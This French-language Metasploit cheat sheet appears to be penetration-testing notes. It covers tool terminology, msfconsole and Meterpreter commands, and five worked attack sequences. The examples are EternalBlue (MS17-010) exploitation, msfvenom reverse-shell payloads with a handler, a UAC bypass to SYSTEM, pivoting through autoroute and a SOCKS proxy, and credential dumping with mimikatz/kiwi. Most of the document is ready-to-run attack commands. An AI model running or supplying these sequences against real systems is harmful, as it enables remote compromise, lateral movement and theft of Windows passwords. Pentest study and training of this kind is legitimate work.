* Metasploit : une version gratuite (inclus dans Kali) et une version payante (génération de charges difficilement détectables).
* Terminologie :
  + Exploit : vulnérabilité
  + Payload : charge malveillante utilisant l’exploit
  + Encoders : outil permettant de masquer la charge pour la rendre moins détectable
  + Evasion : bypass de Windows Defender et autres applications de sécurité
* Outils complémentaires :
  + Unicorn : utilise Metasploit, mais ajoute d’autres encodeurs pour plus de discrétion
  + PowerSploit : outil spécifique contre Windows, utilise PowerShell
  + TheEmpire : attaque de MS Office (macros), framework de post-exploitation
  + TheFatRat : attaque d’Android (récupération d’APK pour y intégrer une charge)
  + TIDOS : framework d’exploitation plus simple que Metasploit
  + GoPhish : framework de phishing

Commandes Metasploit utiles :

# msfconsole # Lancer Metasploit

# use # Appelle un module

# set # Assigne un objet à un module

# show # Affiche des informations

# exploit # Lancer l’exploit/le module configuré

# back # Revenir en arrière

# search # Recherche des modules à partir de mots-clés

# check # Vérifie la configuration d’un module

# sessions # Interagit avec les sessions

Commandes Meterpreter utiles :

> background # Retour shell d’attaque sans quitter la session

> autoroute # Routage inter-sessions

> migrate # Migrer la charge entre les procesus de la machine

> hashdump # Récupération de la base SAM

> kiwi/mimikatz # Récupération des mots de passe en mémoire

> upload/download # Téléchargement ou envoi de fichiers

> powershell # Lance une commande PowerShell

> getuid/getpid # Affiche l’identité de l’utilisateur

Exemple 1 – Utilisation de l’exploit Wannacry (CVE-2017-0143)

# msfconsole

# search CVE-2017-0143

# use exploit/windows/smb/ms17\_010\_eternalblue

# info exploit/windows/smb/ms17\_010\_eternalblue

# set RHOSTS 192.168.1.109

# search payload

# set PAYLOAD windows/x64/meterpreter/reverse\_tcp

# check

# exploit

Exemple 2 – Obtention de privilèges sur une machine sans antivirus avec UAC par défaut

# msfvenom --payload windows/x64/meterpreter/reverse\_tcp --platform Windows --arch x64 --format exe --out payload-6\_1.exe

# msfconsole

# use exploit/multi/handler

# set payload windows/x64/meterpreter/reverse\_tcp

# set lhost 192.168.1.111

# set lport 4444

# run

--- Execute payload on remote host

> background

# use exploit/windows/local/bypassuac

# sessions -i

# set session 4

# exploit

> getsystem

> getuid

Exemple 3 – Création d’un pivot

# msfvenom --payload windows/x64/meterpreter/reverse\_tcp --platform Windows --arch x64 --format exe --out payload-6\_1.exe

# msfconsole

# use exploit/multi/handler

# set payload windows/x64/meterpreter/reverse\_tcp

# set lhost 192.168.1.111

# set lport 4444

# run

--- Execute payload on remote host

> background

# use exploit/windows/local/bypassuac

# set payload windows/x64/meterpreter/reverse\_tcp

# set session 1

# exploit

> getuid

> getsystem

> getuid

> shell

> ipconfig

> nslookup 192.168.1.1

> exit

> run autoroute -s 192.168.1.0/24

> autoroute -p

> info auxiliary/server/socks4a

> use auxiliary/server/socks4a

> run

> echo 'proxy\_dns\ntcp\_read\_time\_out\ntcp\_connect\_time\_out\n[ProxyList]\nsocks4 127.0.0.1 1080' > /etc/proxychains.conf

> netstat -etln | grep 1080

> proxychains firefox https://192.168.1.1

Exemple 4 – Récupération de mots de passe avec Mimikatz (Windows 7)

> getsystem

> sysinfo

> load mimikatz

> mimikatz\_command -f sekurlsa::logonPasswords

Exemple 5 – Récupération de mots de passe avec Mimikatz (Windows 10)

> getuid

> getsystem

> getuid

> load kiwi

> kiwi\_cmd -f misc::memssp

> download C:\\Windows\\System32\\mimilsa.log /root/Desktop/